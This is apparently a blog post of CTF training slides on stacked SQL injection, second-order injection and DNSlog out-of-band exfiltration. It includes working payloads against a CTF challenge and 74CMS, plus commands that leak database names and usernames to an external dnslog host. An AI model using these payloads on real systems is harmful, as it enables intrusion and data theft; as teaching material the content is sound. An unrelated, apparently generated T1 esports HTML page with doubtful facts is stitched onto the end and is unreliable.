河南省高校联盟战队课件6(sql-堆叠注入,二次注入,dnslog)

										堆叠注入,二次注入,dnslog

个人介绍

id:故事 普通的web喵

详细视频

堆叠注入,二次注入,dnslog
1、数据库堆叠注入(有条件的)

根据数据库类型决定是否支持多条语句执行
在这里插入图片描述
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W1asHMtZ-1650596342581)(D:\software\Typora\courseware\河南高校联盟课件\SQL注入课件\image\image-20220420222917075.png)]

例题:堆叠注入-数据库类型&强网杯2019随便注
支持堆叠数据库类型:MYSQL MSSQL Postgresql等

';show databases;
';show tables;
';show columns from `1919810931114514`;
';select flag from `1919810931114514`;
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

16进制编码MySQL可以识别
在这里插入图片描述

2、数据库二次注入
在这里插入图片描述
二次注入理解:写入的时候没有问题(一次注入)(没生效但写入数据库中了)
取出的时候与语句拼接发生问题(二次注入)(从数据库中调用了我们写入的SQL语句且没相应的过滤)

二次注入例题:

  1. CTF-[网鼎杯2018]Unfinish-黑盒(getflag.py)

找到/register.php 页面
注册用户:
邮箱,用户名,密码

登录:
邮箱,密码

进入个人中心:显示个人的用户名
select username from user where email=‘用户名’
(也就是说他从数据库中调用了我们输入的用户名)
(那如果用户名的注入语句呢???)

在这里插入图片描述

  1. CMS-74CMS个人会员中心

http://127.0.0.1/74cms/
注入点:学校名称
xxxx’,address=user()#
地址:123
insert address value(‘123’)
insert address value(‘’,user()#')

爆出版本号:
xxxx’,address=version()#
在这里插入图片描述在这里插入图片描述

xxxx’,address=user()#
在这里插入图片描述
在这里插入图片描述

  1. 以前做过的一个案例:

网站有创建用户修改用户的功能

目标:搞到flag admin用户
注册账号:admin’#(让语句写入数据库)(一次注入)
INSERT INTO user VALUES (‘admin’#',‘xxxxxx’)

当语句被取出:
这样我们尝试修改admin’#账号是不是可以修改到admin
语句拼接:
UPDATE user SET password = ‘aaaa’ WHERE username = ‘admin’#’

3、数据库Dnslog注入

解决不回显(反向连接),SQL注入,命令执行,SSRF等

  1. 平台
    dnslog平台
  2. 应用场景:
    解决不回显,反向连接,SQL注入,命令执行,SSRF等

SQL注入(案例):
select load_file(concat(‘\\’,(select database()),‘.xbozer.dnslog.cn\aa’));
and (select load_file(concat(‘//’,(select database()),‘.xbozer.dnslog.cn/abc’)))

在这里插入图片描述

命令执行(案例):
ping %USERNAME%.xbozer.dnslog.cn

在这里插入图片描述

有学习交流的可以加Q群:622816049

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
好的,下面是一个简单的英雄联盟战队T1介绍的网页的HTML代码: ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>T1战队介绍</title> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; } header { background-color: #000; color: #fff; padding: 20px; } h1 { margin: 0; } nav { background-color: #f2f2f2; padding: 10px; } nav ul { list-style: none; margin: 0; padding: 0; } nav li { display: inline-block; margin-right: 20px; } nav a { color: #000; text-decoration: none; font-weight: bold; font-size: 16px; } nav a:hover { color: #f00; } section { padding: 20px; margin: 20px; border: 1px solid #ccc; border-radius: 5px; } footer { background-color: #000; color: #fff; padding: 20px; text-align: center; } footer p { margin: 0; } </style> </head> <body> <header> <h1>T1战队介绍</h1> </header> <nav> <ul> <li><a href="#">首页</a></li> <li><a href="#">战队成员</a></li> <li><a href="#">比赛记录</a></li> <li><a href="#">荣誉成就</a></li> <li><a href="#">联系我们</a></li> </ul> </nav> <section> <h2>战队简介</h2> <p>T1是一支韩国电子竞技战队,成立于2002年。战队在英雄联盟、星际争霸、守望先锋等多个游戏领域都有着出色的表现。</p> <h2>战队成员</h2> <p>T1战队的成员包括:</p> <ul> <li>Faker</li> <li>Effort</li> <li>Cuzz</li> <li>Gumayusi</li> <li>Canna</li> </ul> <h2>比赛记录</h2> <p>T1战队在英雄联盟赛场上有着辉煌的战绩:</p> <ul> <li>2013 LCK Summer - 冠军</li> <li>2014 LCK Spring - 冠军</li> <li>2015 LCK Spring - 冠军</li> <li>2015 MSI - 冠军</li> <li>2015 Worlds - 亚军</li> <li>2016 LCK Spring - 冠军</li> <li>2016 MSI - 冠军</li> <li>2016 Worlds - 亚军</li> <li>2019 LCK Summer - 冠军</li> <li>2019 Worlds - 亚军</li> </ul> <h2>荣誉成就</h2> <p>T1战队的荣誉成就包括:</p> <ul> <li>2013、2014、2015、2016年季后赛MVP</li> <li>2015年全球总决赛MVP</li> <li>2016年全球总决赛Best Mid Laner</li> <li>2019年LCK夏季赛MVP</li> </ul> <h2>联系我们</h2> <p>如果您有任何问题或建议,请通过以下方式联系我们:</p> <ul> <li>电话:+82-2-333-2222</li> <li>邮箱:info@t1.gg</li> <li>地址:韩国首尔市江南区三成路122号</li> </ul> </section> <footer> <p>© T1战队 2021</p> </footer> </body> </html> ``` 这个网页分为头部、导航、主体和底部四个部分。头部包括网页标题和页眉,导航包括几个链接,主体则是战队的介绍、成员、比赛记录、荣誉成就和联系方式,底部是版权声明。这只是一个简单的例子,你可以根据需要添加更多的内容和样式。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kui954

感谢各位的支持o(* ̄3 ̄)o

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值